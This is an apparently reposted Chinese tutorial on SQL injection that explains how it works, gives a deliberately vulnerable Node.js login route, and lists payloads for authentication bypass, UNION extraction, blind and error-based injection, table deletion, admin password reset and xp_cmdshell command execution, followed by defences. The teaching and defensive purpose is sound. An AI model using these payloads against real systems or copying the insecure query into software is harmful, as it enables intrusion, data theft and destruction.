问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

2025版最新SQL注入攻击的原理(非常详细)零基础入门到精通

创作时间:
作者:
@小白创作中心

2025版最新SQL注入攻击的原理(非常详细)零基础入门到精通

引用
CSDN
1.
https://m.blog.csdn.net/weixin_57543652/article/details/146007038

SQL注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,欺骗后台数据库执行非授权的SQL语句。SQL注入可以用于获取、篡改或删除数据库中的数据,甚至可以用于执行系统命令,导致数据泄露、数据破坏或服务器被控制等严重后果。

SQL注入的工作原理

  • 对用户输入验证不足:当Web应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入SQL代码。
  • 拼接SQL语句:应用程序后端通常将用户输入与SQL查询拼接在一起,形成完整的数据库查询语句。
  • 执行恶意SQL:如果应用程序没有对输入进行适当的转义,恶意SQL代码将被数据库服务器执行。
  • 数据泄露或破坏:攻击者可以利用SQL注入来查询、修改或删除数据库中的数据,或者执行数据库管理系统的系统命令。

当用户登录网站时,通常会输入用户名和密码。以下是一段正常的SQL查询代码:

SELECT * FROM users WHERE username = 'user1' AND password = 'password1';

如果攻击者输入:

用户名:**admin' --**
密码:**anything**

SQL查询变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

其中是SQL的注释符号,忽略了密码条件,直接绕过了身份验证。

比如以下代码,就会出现被注入的情况:

const express = require('express');
const mysql = require('mysql');
const app = express();
app.use(express.json());

const connection = mysql.createConnection({
    host: 'localhost',
    user: 'root',
    password: 'password',
    database: 'testdb'
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;

    // 不安全的SQL查询
    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;

    connection.query(query, (error, results) => {
        if (error) {
            return res.status(500).send('Database error');
        }
        if (results.length > 0) {
            res.send('Login successful');
        } else {
            res.send('Invalid username or password');
        }
    });
});

app.listen(3000, () => {
    console.log('Server running on http://localhost:3000');
});

常见SQL注入

2.1 基础型SQL注入

直接将恶意SQL代码嵌入用户输入中,并影响查询逻辑。

输入用户名:**admin' OR '1'='1**
输入密码:**anything**

执行的SQL查询:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';

结果:OR ‘1’=‘1’总为true,可以绕过验证。

2.2 UNION查询注入

通过UNION将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据。

输入:

' UNION SELECT null, username, password FROM users --

执行的SQL查询:

SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';

结果:将users表的username和password数据作为结果返回。

2.3 错误型SQL注入

通过故意触发数据库错误,利用错误信息推测表名、列名或数据。

输入:

' AND 1=CONVERT(int, (SELECT @@version)) --

执行的SQL查询:

SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';

结果:错误信息可能暴露数据库版本或其他信息。

2.4 盲注

无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。

布尔型盲注,输入:

' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --

执行的SQL查询:

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';

结果:根据返回结果判断数据库名首字母是否为t。

时间盲注,输入:

' AND IF(1=1, SLEEP(5), 0) --

执行的SQL查询:

SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';

结果:如果条件成立,服务器会延迟5秒响应,从而泄露信息。

2.5 堆叠查询注入

允许多条SQL语句同时执行。

输入:

'; DROP TABLE users; --

执行的SQL查询:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

结果:users表被删除。

当然,也可以执行修改管理员密码的SQL命令:

SELECT * FROM users WHERE username = ''; UPDATE users set password='123456' where user='admin'; --';

某些数据库(如MySQL)默认不支持多语句执行。

2.6 存储过程注入

利用存储过程的输入参数注入恶意SQL。

输入:

'; EXEC xp_cmdshell('dir'); --

执行的SQL:

EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'

结果:执行系统命令(如列出目录)。

2.7 Cookie注入

利用修改浏览器存储的Cookie值进行注入。

Cookie: session_id=' OR '1'='1;

服务器在解析Cookie时执行了恶意SQL。

防范措施

3.1 参数化查询和预编译语句

使用参数化查询或预编译语句,将用户输入与SQL语句分离,避免用户输入被直接解析为SQL代码。

Java代码:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

Node.js (MySQL模块):

const query = "SELECT * FROM users WHERE username = ? AND password = ?";
connection.query(query, [username, password], (err, results) => {
    if (err) throw err;
    // Handle results
});

3.2 使用ORM框架

核心思路ORM(如Hibernate、Sequelize等)通过自动生成SQL查询,大幅减少手动拼接SQL的机会,从而避免注入。

// 使用Sequelize
const user = await User.findOne({
where: { username: 'admin', password: 'password123' }
});

3.3 输入验证

严格检查用户输入是否符合预期,拒绝不符合规则的输入。对用户名、邮箱等使用正则表达式,数值类型字段只允许数字输入。对特殊字符进行转义(如"转为")。

const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符

3.4 限制数据库权限

为数据库用户分配最小权限,只允许执行必要的操作。

  • 限制写入权限:只允许插入、更新的用户操作对应的表,不允许DROP、ALTER等高危操作。
  • 分离读写权限:使用只读账号访问数据库。

创建一个只读用户:

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';
GRANT SELECT ON database_name.* TO 'readonly_user'@'%';

3.5 定期安全测试

通过安全扫描工具或手动测试,定期检查代码中的潜在SQL注入漏洞。我们可以使用开源工具SQLMap来测试。

SQLMap是一个专门用于自动化进行SQL注入检测和利用的渗透测试工具。SQLMap广泛应用于网络安全评估和渗透测试中,帮助发现和修复SQL注入漏洞。

SQL官方地址:https://sqlmap.org/
SQLMap开源地址:https://github.com/sqlmapproject/sqlmap

© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号